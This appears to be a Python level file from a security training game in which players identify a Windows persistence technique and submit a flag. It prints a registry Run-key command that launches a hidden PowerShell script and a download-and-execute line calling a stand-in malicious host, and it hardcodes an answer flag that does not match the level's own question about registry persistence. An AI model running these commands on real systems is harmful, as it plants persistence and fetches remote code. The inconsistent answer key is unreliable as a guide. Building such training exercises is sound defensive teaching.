level7.py

import os
import time

def clear():
    os.system('cls' if os.name == 'nt' else 'clear')

def next_step_menu():
    print("\n🎮 What would you like to do next?")
    print("1. Continue to next level")
    print("2. Restart this level")
    print("3. Exit game")
    choice = input("> ").strip()
    return choice

def level7(save):
    clear()
    print("🧪 Level 7: Registry Persistence\n")
    print("A malware sample modifies the Windows Registry to gain persistence.\n")
    print("--- Registry Command ---")
    print("reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v OneDriveUpdate /t REG_SZ /d \"powershell -exec bypass -File C:\\Users\\Public\\update.ps1\" /f")
    print("--- End Command ---\n")

    print("🔍 Contents of update.ps1:\n")
    print("iex (New-Object Net.WebClient).DownloadString('http://malicious-site.biz/payload.ps1')\n")

    print("🛠️ Your task:")
    print("Identify the persistence technique used and submit the correct flag.")
    print("The flag format is: FLAG{TECHNIQUE_NAME_IN_ALL_CAPS_WITH_UNDERSCORES}")
    print("Example: FLAG{TASK_SCHEDULER_PERSISTENCE}")
    print("\n💡 Hint: This malware is abusing a common registry key used to launch scripts on user login.\n")

    while True:
        cmd = input("> ").strip().lower()
        if cmd == "submit flag{powershell_web_delivery}":
            print("\n✅ Correct! Flag accepted.")
            save["level"] = 8
            save["flags"].append("FLAG{POWERSHELL_WEB_DELIVERY}")
            time.sleep(1.5)
            clear()
            print("🎉 Level 7 Complete!\n")
            while True:
                choice = next_step_menu()
                if choice == "1":
                    return save
                elif choice == "2":
                    return level7(save)
                elif choice == "3":
                    print("👋 Exiting game...")
                    exit()
                else:
                    print("❌ Invalid choice. Please select 1, 2, or 3.")
        elif cmd == "restart":
            return level7(save)
        elif cmd == "exit":
            print("👋 Exiting game...")
            exit()
        else:
            print("❌ Incorrect flag. Try again or type 'exit' or 'restart'.")